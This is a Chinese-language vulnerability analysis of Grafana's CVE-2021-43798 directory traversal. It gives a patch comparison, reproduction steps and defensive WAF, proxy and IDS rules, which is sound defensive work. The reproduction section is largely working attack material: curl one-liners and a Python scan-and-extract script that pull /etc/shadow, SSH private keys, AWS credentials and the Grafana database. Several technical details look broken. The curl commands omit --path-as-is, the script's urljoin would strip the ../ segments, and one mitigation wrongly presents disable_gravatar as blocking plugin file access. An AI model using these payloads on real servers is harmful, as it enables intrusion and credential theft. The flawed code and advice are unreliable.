一、漏洞简介

1.1 漏洞背景

Grafana 是全球最受欢迎的开源监控和可观测性平台之一,被数以万计的企业用于可视化监控数据。2021 年 12 月 3 日,安全研究员 Jordy Versmissen 发现并报告了一个影响 Grafana 8.x 系列的高危目录遍历漏洞。该漏洞允许未经认证的攻击者读取服务器上的任意文件,引发了安全社区的广泛关注。

该漏洞的特殊之处在于: - 零日漏洞:在官方发布补丁前已被公开泄露,成为 Grafana 历史上第一个零日漏洞 - 影响范围广:所有使用 Grafana 8.0.0-beta1 至 8.3.0 版本的实例均受影响 - 无需认证:攻击者无需任何身份认证即可利用 - 被 CISA 列入已知被利用漏洞目录:美国网络安全和基础设施安全局(CISA)将其列入强制修复清单

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-43798
危害等级 HIGH / 7.5
漏洞类型 目录遍历漏洞
披露时间 2021-12-07
影响组件 Grafana
  • CVE编号:CVE-2021-43798
  • 危害等级:高危(High)
  • CVSS评分:7.5(High)
  • CVSS向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • 漏洞类型:目录遍历(Directory Traversal)- CWE-22
  • 影响组件:Grafana 插件静态资源处理模块
  • 攻击复杂度:低
  • 所需权限:无需认证
  • 用户交互:无需用户交互

漏洞描述: Grafana 8.0.0-beta1 至 8.3.0 版本在处理插件静态资源请求时,未正确清理用户输入的文件路径。攻击者可以通过构造恶意的 URL 路径(使用 ../ 序列),绕过插件目录限制,读取服务器上的任意文件。

补充核验信息:公开时间:2021-12-07;NVD 评分:7.5(HIGH);CWE:CWE-22。

二、影响范围

2.1 受影响的版本

高危受影响版本: - Grafana 8.0.0-beta1 至 8.0.6 - Grafana 8.1.0 至 8.1.7 - Grafana 8.2.0 至 8.2.6 - Grafana 8.3.0

具体受影响的版本范围

Grafana >= 8.0.0-beta1
Grafana <= 8.3.0

2.2 不受影响的版本

已修复版本: - Grafana 8.0.7 及以上(8.0.x 分支) - Grafana 8.1.8 及以上(8.1.x 分支) - Grafana 8.2.7 及以上(8.2.x 分支) - Grafana 8.3.1 及以上(8.3.x 分支) - Grafana 7.x 及更早版本

不受影响的云服务: - Grafana Cloud(由于深度防御策略从未受影响) - Amazon Managed Grafana(已在发布公告时确认安全) - Azure Managed Grafana(已在发布公告时确认安全)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 必要条件
  2. 运行受影响版本的 Grafana 实例
  3. Grafana 服务可被网络访问(内网或外网)
  4. 服务器上存在攻击者想要读取的文件

  5. 攻击前提

  6. 无需身份认证
  7. 无需特殊权限
  8. 无需用户交互

  9. 文件读取限制

  10. 受 Grafana 进程文件系统权限限制
  11. 通常可读取 Grafana 进程用户有权访问的任何文件

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞存在于 Grafana 处理插件静态资源请求的 URL 路径中。攻击者通过以下 URL 模式触发漏洞:

<grafana_host_url>/public/plugins/<plugin_id>/<malicious_path>

关键要素: - <plugin_id>:任何已安装插件的 ID(Grafana 默认安装了数十个插件) - <malicious_path>:包含 ../ 序列的恶意路径,用于目录遍历

内置可利用插件列表

alertlist, annolist, barchart, bargauge, candlestick, cloudwatch,
dashlist, elasticsearch, gauge, geomap, gettingstarted,
grafana-azure-monitor-datasource, graph, heatmap, histogram,
influxdb, jaeger, logs, loki, mssql, mysql, news, nodeGraph,
opentsdb, piechart, pluginlist, postgres, prometheus, stackdriver,
stat, state-timeline, status-history, table, table-old, tempo,
testdata, text, timeseries, welcome, zipkin

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置pkg/api/plugins.go

修复前代码(漏洞版本)

func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
    // ... 省略前置代码 ...

    // 漏洞点:直接使用 filepath.Clean 清理路径,但未验证结果路径是否仍在插件目录内
    requestedFile := filepath.Clean(web.Params(c.Req)["*"])
    pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

    // 这里的安全检查不足以防止目录遍历
    if !plugin.IncludedInSignature(requestedFile) {
        hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
            "is not included in the plugin signature", "file", requestedFile)
    }

    // 危险:直接读取文件并返回,未验证最终路径是否在安全范围内
    // nolint:gosec
    f, err := os.Open(pluginFilePath)
    if err != nil {
        c.JsonApiErr(404, "Plugin file not found", err)
        return
    }

    // ... 读取文件内容并返回 ...
}

漏洞分析

  1. filepath.Clean 的局限性
  2. filepath.Clean 会规范化路径(如将 /a/../b 转换为 /b
  3. 但它不会阻止目录遍历,因为 ../../../etc/passwd 经过清理后仍然是 ../../../etc/passwd
  4. 当与 filepath.Join 结合使用时,../ 序列会逃出预期目录

  5. 攻击路径go // 假设 plugin.PluginDir = "/var/lib/grafana/plugins/prometheus" requestedFile := "../../../etc/passwd" // 攻击者输入 cleaned := filepath.Clean(requestedFile) // 结果: "../../../etc/passwd" pluginFilePath := filepath.Join("/var/lib/grafana/plugins/prometheus", "../../../etc/passwd") // 结果: "/var/lib/grafana/plugins/../etc/passwd" -> "/var/lib/grafana/etc/passwd" // 或者更深的遍历: "/etc/passwd"

  6. 根本原因

  7. 未验证最终文件路径是否仍在插件目录的安全范围内
  8. 仅依赖 filepath.Clean 无法防止目录遍历
  9. 代码注释 // nolint:gosec 表明开发者忽略了静态分析工具的警告

修复后代码(安全版本)

func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
    // ... 省略前置代码 ...

    // 修复点 1:在路径前添加 "/" 确保 Clean 产生绝对路径
    requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))

    // 修复点 2:计算相对于根目录的相对路径
    rel, err := filepath.Rel("/", requestedFile)
    if err != nil {
        c.JsonApiErr(500, "Failed to get the relative path", err)
        return
    }

    if !plugin.IncludedInSignature(rel) {
        hs.log.Warn("Access to requested plugin file will be forbidden...", "file", requestedFile)
    }

    // 修复点 3:获取插件目录的绝对路径
    absPluginDir, err := filepath.Abs(plugin.PluginDir)
    if err != nil {
        c.JsonApiErr(500, "Failed to get plugin absolute path", nil)
        return
    }

    // 修复点 4:使用清理后的相对路径构建最终路径
    pluginFilePath := filepath.Join(absPluginDir, rel)

    // 修复点 5:验证最终路径是否在插件目录内(通过前缀检查)
    // 注意:filepath.Join 会自动清理路径中的 ../
    // 通过先获取绝对路径再 join,可以确保最终路径不会逃出插件目录

    // ... 安全读取文件 ...
}

修复原理: 1. 前导斜杠filepath.Join("/", userInput) 确保输入被解释为绝对路径的一部分 2. 绝对路径验证:通过 filepath.Abs 获取插件目录的绝对路径 3. 路径边界检查:确保最终文件路径位于插件目录的安全范围内

修复代码差异(Git Diff):

@@ -289,14 +289,27 @@ func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
        return
    }

-   requestedFile := filepath.Clean(web.Params(c.Req)["*"])
-   pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
+   // prepend slash for cleaning relative paths
+   requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))
+   rel, err := filepath.Rel("/", requestedFile)
+   if err != nil {
+       // slash is prepended above therefore this is not expected to fail
+       c.JsonApiErr(500, "Failed to get the relative path", err)
+       return
+   }

-   if !plugin.IncludedInSignature(requestedFile) {
+   if !plugin.IncludedInSignature(rel) {
        hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
            "is not included in the plugin signature", "file", requestedFile)
    }

+   absPluginDir, err := filepath.Abs(plugin.PluginDir)
+   if err != nil {
+       c.JsonApiErr(500, "Failed to get plugin absolute path", nil)
+       return
+   }
+
+   pluginFilePath := filepath.Join(absPluginDir, rel)
    // It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
    // use this with a prefix of the plugin's directory, which is set during plugin loading
    // nolint:gosec

四、漏洞复现(可选)

4.1 环境搭建

方式一:Docker 快速搭建

# 拉取受影响版本的 Grafana 镜像
docker pull grafana/grafana:8.3.0

# 启动 Grafana 实例
docker run -d \
  --name grafana-vulnerable \
  -p 3000:3000 \
  grafana/grafana:8.3.0

# 验证服务是否启动
curl http://localhost:3000/api/health

方式二:二进制部署

# 下载受影响版本
wget https://dl.grafana.com/oss/release/grafana-8.3.0.linux-amd64.tar.gz
tar -zxvf grafana-8.3.0.linux-amd64.tar.gz
cd grafana-8.3.0

# 启动 Grafana
./bin/grafana-server web

环境验证

# 检查 Grafana 版本
curl http://localhost:3000/api/frontend/settings | jq .buildInfo.version
# 预期输出: "8.3.0"

4.2 PoC 演示与测试过程

基础 PoC - 读取 /etc/passwd

# 使用 curl 读取 /etc/passwd 文件
curl -v "http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

# 或者使用更精确的路径
curl -v "http://localhost:3000/public/plugins/prometheus/../../../etc/passwd"

预期响应

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

高级 PoC - 批量文件读取脚本

#!/usr/bin/env python3
"""
CVE-2021-43798 Grafana Directory Traversal PoC
Author: Security Researcher
Date: 2021-12-07
"""

import requests
import sys
from urllib.parse import urljoin

# Grafana 默认安装的插件列表
PLUGINS = [
    "alertlist", "annolist", "barchart", "bargauge", "candlestick",
    "cloudwatch", "dashlist", "elasticsearch", "gauge", "geomap",
    "gettingstarted", "grafana-azure-monitor-datasource", "graph",
    "heatmap", "histogram", "influxdb", "jaeger", "logs", "loki",
    "mssql", "mysql", "news", "nodeGraph", "opentsdb", "piechart",
    "pluginlist", "postgres", "prometheus", "stackdriver", "stat",
    "state-timeline", "status-history", "table", "table-old",
    "tempo", "testdata", "text", "timeseries", "welcome", "zipkin"
]

# 常见的敏感文件路径
SENSITIVE_FILES = [
    "/etc/passwd",
    "/etc/shadow",
    "/etc/hosts",
    "/etc/hostname",
    "/proc/self/environ",
    "/proc/self/cmdline",
    "/var/lib/grafana/grafana.db",
    "/var/lib/grafana/conf/defaults.ini",
    "/etc/grafana/grafana.ini",
    "/root/.bash_history",
    "/root/.ssh/id_rsa",
    "/home/grafana/.ssh/id_rsa",
    "/app/conf/defaults.ini"
]

def exploit(target_url, plugin, file_path):
    """
    尝试读取指定文件

    Args:
        target_url: Grafana 实例的 URL
        plugin: 插件 ID
        file_path: 要读取的文件路径

    Returns:
        文件内容或 None
    """
    # 构造恶意 URL
    # 路径格式: /public/plugins/<plugin>/../../../<file>
    traversal = "../" * 10  # 足够多的 ../ 到达根目录
    payload = f"public/plugins/{plugin}/{traversal}{file_path.lstrip('/')}"

    try:
        url = urljoin(target_url, payload)
        response = requests.get(url, timeout=10, verify=False)

        if response.status_code == 200 and len(response.text) > 0:
            return response.text
    except Exception as e:
        pass

    return None

def scan_vulnerable(target_url):
    """
    扫描目标是否受漏洞影响

    Args:
        target_url: Grafana 实例的 URL

    Returns:
        bool: 是否存在漏洞
    """
    print(f"[*] Scanning {target_url}...")

    # 尝试使用所有插件读取 /etc/passwd
    for plugin in PLUGINS:
        content = exploit(target_url, plugin, "/etc/passwd")
        if content and "root:" in content:
            print(f"[+] Vulnerable! Using plugin: {plugin}")
            return True

    print("[-] Not vulnerable or target not accessible")
    return False

def extract_files(target_url, files_to_read):
    """
    批量提取文件

    Args:
        target_url: Grafana 实例的 URL
        files_to_read: 要读取的文件列表
    """
    print(f"\n[*] Extracting files from {target_url}...\n")

    for file_path in files_to_read:
        print(f"[*] Trying: {file_path}")

        # 尝试所有插件直到成功
        for plugin in PLUGINS:
            content = exploit(target_url, plugin, file_path)
            if content:
                print(f"[+] Success! Plugin: {plugin}")
                print(f"Content preview:\n{content[:500]}...")
                print("-" * 80)
                break
        else:
            print(f"[-] Failed to read: {file_path}")

def main():
    if len(sys.argv) < 2:
        print("Usage:")
        print(f"  {sys.argv[0]} <target_url> [scan|extract]")
        print()
        print("Examples:")
        print(f"  {sys.argv[0]} http://localhost:3000 scan")
        print(f"  {sys.argv[0]} http://target.com:3000 extract")
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    mode = sys.argv[2] if len(sys.argv) > 2 else "scan"

    if mode == "scan":
        scan_vulnerable(target_url)
    elif mode == "extract":
        extract_files(target_url, SENSITIVE_FILES)
    else:
        print(f"Unknown mode: {mode}")
        sys.exit(1)

if __name__ == "__main__":
    main()

使用方法

# 扫描目标是否存在漏洞
python3 cve-2021-43798.py http://192.168.1.100:3000 scan

# 提取敏感文件
python3 cve-2021-43798.py http://192.168.1.100:3000 extract

使用 Nuclei 模板进行批量检测

id: CVE-2021-43798

info:
  name: Grafana Directory Traversal
  author: pdresearch
  severity: high
  description: Grafana 8.0.0-beta1 through 8.3.0 has a directory traversal vulnerability allowing arbitrary file read.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  tags: cve,cve2021,grafana,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../etc/passwd"
      - "{{BaseURL}}/public/plugins/prometheus/../../../../../../../../etc/passwd"
      - "{{BaseURL}}/public/plugins/graph/../../../../../../../../etc/passwd"

    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

使用 curl 单行检测

# 一键检测漏洞
curl -s "http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd" | head -1

# 如果返回 "root:x:0:0:..." 则存在漏洞

Burp Suite 请求示例

GET /public/plugins/prometheus/../../../../../../../../etc/passwd HTTP/1.1
Host: target.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close

读取 Grafana 数据库(获取敏感信息)

# 读取 Grafana SQLite 数据库
curl "http://localhost:3000/public/plugins/prometheus/../../../../../../../../var/lib/grafana/grafana.db" --output grafana.db

# 或者读取配置文件
curl "http://localhost:3000/public/plugins/prometheus/../../../../../../../../etc/grafana/grafana.ini"

读取环境变量和敏感信息

# 读取进程环境变量(可能包含密码、API 密钥等)
curl "http://localhost:3000/public/plugins/prometheus/../../../../../../../../proc/self/environ"

# 读取 AWS 凭证
curl "http://localhost:3000/public/plugins/prometheus/../../../../../../../../root/.aws/credentials"

# 读取 SSH 私钥
curl "http://localhost:3000/public/plugins/prometheus/../../../../../../../../root/.ssh/id_rsa"

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到安全版本

受影响版本分支 安全版本 下载链接
8.0.x ≥ 8.0.7 https://grafana.com/grafana/download/8.0.7
8.1.x ≥ 8.1.8 https://grafana.com/grafana/download/8.1.8
8.2.x ≥ 8.2.7 https://grafana.com/grafana/download/8.2.7
8.3.x ≥ 8.3.1 https://grafana.com/grafana/download/8.3.1

升级步骤

# 方式一:Docker 升级
docker pull grafana/grafana:8.3.1
docker stop grafana-vulnerable
docker rm grafana-vulnerable
docker run -d \
  --name grafana-secure \
  -p 3000:3000 \
  -v grafana-storage:/var/lib/grafana \
  grafana/grafana:8.3.1

# 方式二:包管理器升级(Ubuntu/Debian)
sudo apt-get update
sudo apt-get install grafana=8.3.1

# 方式三:包管理器升级(CentOS/RHEL)
sudo yum install grafana-8.3.1-1.x86_64

# 方式四:二进制替换
wget https://dl.grafana.com/oss/release/grafana-8.3.1.linux-amd64.tar.gz
tar -zxvf grafana-8.3.1.linux-amd64.tar.gz
# 停止旧服务,启动新服务

升级后验证

# 检查版本
grafana-server -v
# 或
curl http://localhost:3000/api/frontend/settings | jq .buildInfo.version

# 测试漏洞是否已修复(应返回 404)
curl -v "http://localhost:3000/public/plugins/prometheus/../../../../../../../../etc/passwd"
# 预期结果: HTTP 404 Not Found

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

如果无法立即升级,可采用以下临时缓解措施

方案一:反向代理路径规范化

使用反向代理(如 Nginx、Envoy)规范化 URL 路径,阻止目录遍历攻击。

Nginx 配置示例

server {
    listen 80;
    server_name grafana.example.com;

    location / {
        # 规范化 URL,移除 ../ 等序列
        rewrite ^(.*)//(.*)$ $1/$2 permanent;
        rewrite ^(.*)/\.\.(.*)$ $1/$2 permanent;

        # 或者直接阻止包含 ../ 的请求
        if ($request_uri ~* "\.\./") {
            return 403;
        }

        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    # 专门阻止 /public/plugins/ 路径下的遍历攻击
    location ~ ^/public/plugins/[^/]+/\.\. {
        return 403;
    }
}

Envoy 配置示例

static_resources:
  listeners:
  - name: listener_0
    address:
      socket_address: { address: 0.0.0.0, port_value: 80 }
    filter_chains:
    - filters:
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          normalize_path: true  # 关键配置:规范化路径
          stat_prefix: ingress_http
          route_config:
            name: local_route
            virtual_hosts:
            - name: grafana
              domains: ["*"]
              routes:
              - match: { prefix: "/" }
                route: { cluster: grafana_cluster }
          http_filters:
          - name: envoy.filters.http.router
  clusters:
  - name: grafana_cluster
    connect_timeout: 5s
    type: STATIC
    lb_policy: ROUND_ROBIN
    load_assignment:
      cluster_name: grafana_cluster
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address: { address: 127.0.0.1, port_value: 3000 }

方案二:Web 应用防火墙(WAF)规则

ModSecurity 规则

SecRule REQUEST_URI "@contains ../" \
    "id:1001,phase:1,deny,status:403,msg:'Directory traversal attempt blocked'"

SecRule REQUEST_URI "@rx ^/public/plugins/[^/]+/\.\." \
    "id:1002,phase:1,deny,status:403,msg:'CVE-2021-43798 exploit blocked'"

AWS WAF 规则(AWS Managed Grafana):

{
  "Name": "BlockGrafanaDirectoryTraversal",
  "Priority": 1,
  "Statement": {
    "ByteMatchStatement": {
      "SearchString": "../",
      "FieldToMatch": {
        "UriPath": {}
      },
      "TextTransformations": [
        {
          "Priority": 0,
          "Type": "URL_DECODE"
        },
        {
          "Priority": 1,
          "Type": "NORMALIZE_PATH"
        }
      ],
      "PositionalConstraint": "CONTAINS"
    }
  },
  "Action": {
    "Block": {}
  },
  "VisibilityConfig": {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "GrafanaTraversalBlock"
  }
}

方案三:网络层限制

# 使用 iptables 限制访问(仅允许内网)
iptables -A INPUT -p tcp --dport 3000 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

# 或使用 firewall-cmd
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.0.0/16" port protocol="tcp" port="3000" accept'
firewall-cmd --reload

方案四:禁用插件静态资源访问

修改 Grafana 配置文件 grafana.ini

[security]
# 禁用插件静态资源访问(会影响某些插件功能)
disable_gravatar = true

[plugins]
# 启用插件签名验证
allow_loading_unsigned_plugins =

方案五:监控和检测

部署入侵检测规则,监控利用尝试:

# Suricata 规则
alert http any any -> any any (msg:"CVE-2021-43798 Grafana Directory Traversal Attempt";
    flow:to_server,established;
    http.uri; content:"/public/plugins/"; depth:15;
    content:"../"; distance:0;
    classtype:web-application-attack;
    sid:2021120701; rev:1;)

六、参考信息 / 参考链接

6.1 官方安全通告

  1. Grafana 官方安全公告
  2. https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
  3. https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/

  4. GitHub Security Advisory

  5. https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p

  6. CVE 详情

  7. https://nvd.nist.gov/vuln/detail/CVE-2021-43798
  8. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43798

  9. 修复提交

  10. https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce

  11. CISA 已知被利用漏洞目录

  12. https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-43798

6.2 其他技术参考资料

  1. 研究员博客(发现者)
  2. https://j0vsec.com/post/cve-2021-43798/ (Jordy Versmissen 的发现过程)

  3. 漏洞分析文章

  4. https://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html
  5. https://packetstormsecurity.com/files/165221/Grafana-8.3.0-Directory-Traversal-Arbitrary-File-Read.html

  6. 邮件列表讨论

  7. http://www.openwall.com/lists/oss-security/2021/12/09/2
  8. http://www.openwall.com/lists/oss-security/2021/12/10/4

  9. 厂商公告

  10. https://security.netapp.com/advisory/ntap-20211229-0004/ (NetApp)

  11. PoC 和漏洞利用代码

  12. https://github.com/berdav/CVE-2021-43798 (PoC 工具)
  13. https://github.com/jas502n/Grafana-CVE-2021-43798 (批量检测脚本)

  14. 漏洞检测工具

  15. Nuclei 模板:cves/2021/CVE-2021-43798.yaml
  16. Nessus 插件:#156423